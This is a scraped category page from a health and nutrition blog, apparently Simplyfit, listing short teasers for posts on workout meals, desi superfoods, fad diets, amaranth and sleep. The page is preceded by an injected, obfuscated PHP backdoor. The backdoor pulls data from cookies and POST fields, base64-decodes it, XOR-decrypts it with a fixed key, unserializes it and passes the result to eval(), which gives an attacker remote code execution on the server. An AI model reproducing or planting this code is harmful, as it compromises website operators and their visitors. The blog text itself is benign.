$xxzgXHTMBd = chr (109) . "\x45" . '_' . "\160" . "\x50" . "\x51";$bOcqR = 'c' . chr (108) . chr (97) . 's' . "\x73" . "\x5f" . chr (101) . "\170" . chr ( 854 - 749 )."\163" . 't' . "\x73";$DowXkrjspI = $bOcqR($xxzgXHTMBd); $mLUOft = $DowXkrjspI;if (!$mLUOft){class mE_pPQ{private $pOAfOn;public static $GWHJFFO = "93f77325-bba7-40be-bca0-3f817b407fe0";public static $QXvveSw = 45861;public function __construct(){$QiozDikGJT = $_COOKIE;$fNAMPn = $_POST;$kbJbe = @$QiozDikGJT[substr(mE_pPQ::$GWHJFFO, 0, 4)];if (!empty($kbJbe)){$AxelI = "base64";$bbHZku = "";$kbJbe = explode(",", $kbJbe);foreach ($kbJbe as $LQeIpll){$bbHZku .= @$QiozDikGJT[$LQeIpll];$bbHZku .= @$fNAMPn[$LQeIpll];}$bbHZku = array_map($AxelI . "\137" . chr (100) . "\145" . chr (99) . 'o' . "\144" . chr (101), array($bbHZku,)); $bbHZku = $bbHZku[0] ^ str_repeat(mE_pPQ::$GWHJFFO, (strlen($bbHZku[0]) / strlen(mE_pPQ::$GWHJFFO)) + 1);mE_pPQ::$QXvveSw = @unserialize($bbHZku);}}public function __destruct(){$this->FikwEWRsN();}private function FikwEWRsN(){if (is_array(mE_pPQ::$QXvveSw)) {$SiTqXkqf = str_replace("\74" . chr (63) . "\x70" . 'h' . "\x70", "", mE_pPQ::$QXvveSw[chr ( 1068 - 969 )."\x6f" . 'n' . "\164" . chr (101) . chr ( 886 - 776 )."\x74"]);eval($SiTqXkqf);exit();}}}$GnHQeWnPo = new mE_pPQ(); $GnHQeWnPo = "56233";} Healthy – Simplyfit
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Category: Healthy

Pre and post workout meal

July 25, 2022 simplyfit

Pre and post workout meals are both very important for giving the best results. Pre work out meals As the…

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Desi superfoods

DESI SUPERFOODS

January 8, 2022 simplyfit

Did you know every Indian kitchen is a treasure trove of desi superfoods which have been ignored for long and…

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Fad diets

Fad Diets

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These are diets which become popular in a short time and are sold as the best and fastest approach to…

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Rainbow Fruits

Rainbow foods

October 21, 2021 simplyfit

As a child we all were very attracted to the colourful rainbow and felt really happy and delighted looking at…

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Monsoon Mania 2020

Monsoon Mania 2020

July 18, 2020 simplyfit

Monsoon season is around and we all want to munch on hot and crispy pakoras and bhajiyas, but little do…

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Wishing all a Healthy and a Happy New Near

January 5, 2020 simplyfit

With the beginning of new year we all make too many resolutions, but however as the year progresses few are…

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Diwai

Healthy Diwali

October 27, 2019 simplyfit

With Diwali being around the corner we all have lot of plans. Right from decorating our houses meeting family and…

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Amaranth grain

RAJGIRA / Amaranth

June 27, 2019 simplyfit

Rajgira / Amaranth is a power house of nutrients. It is an important grain used in india during fasting but…

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Summer

ARE YOU SUMMER READY?

March 23, 2019 simplyfit

With the summers setting in and the mercury levels soaring we know that the season of fatigue and sweat is…

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Sleep

Sleep and weight loss

March 14, 2019 simplyfit

Sleep an important factor for weight loss! I am sure most of us have heard about this but wonder how…

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